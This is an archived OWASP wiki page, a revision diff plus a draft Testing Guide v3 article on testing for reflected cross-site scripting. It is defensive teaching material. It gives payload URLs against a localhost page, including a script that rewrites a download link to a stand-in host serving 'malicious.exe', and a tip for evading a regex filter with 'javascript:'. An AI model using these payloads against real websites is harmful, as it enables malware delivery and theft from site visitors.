This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for Reflected Cross site scripting (OTG-INPVAL-001)"

From OWASP
Jump to: navigation, search
(Black Box and Grey Box testing and example)
Line 67: Line 67:
 
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.  
 
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.  
 
...<br><br>
 
...<br><br>
 
 
== References ==
 
== References ==
 
'''Books'''<br>
 
'''Books'''<br>
Line 74: Line 73:
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
 
'''Whitepapers'''<br>
 
'''Whitepapers'''<br>
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
+
* XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
+
* The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html
+
* HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
 +
* alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
 
'''Tools'''<br>
 
'''Tools'''<br>
 
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
 
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
 
* PHP Charset Encoder(PCE) - http://h4k.in/encoding
 
* PHP Charset Encoder(PCE) - http://h4k.in/encoding
 
<br>
 
<br>

Revision as of 21:27, 7 August 2008

OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

This is a draft of a section of the new Testing Guide v3

Brief Summary

Reflected cross-site scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.


Description of the Issue

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which he convinces her victims to load this URI on their browsers, and the eventual execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to install key loggers, steal victim cookies, clipboard theft, and change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so for example the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags. A nice tool for testing character encodings is OWASP's CAL9000.

Black and Grey Box testing and example

The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.

XSS Example1.png

The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens:

http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script>

If no sanitization is applied this will result in the following popup:

Alert.png

This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):

http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> 

This produces the following behavior:

XSS Example2.png

This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

Filtering: ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i. This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag. ...

References

Books

  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

Whitepapers

  • XSS Cheat Sheet: Read
  • The Cross Site Scripting FAQ: Read
  • HTML Code Injection and Cross-site scripting: Read
  • alert('A javascritp agent'): Read ( To be published )

Tools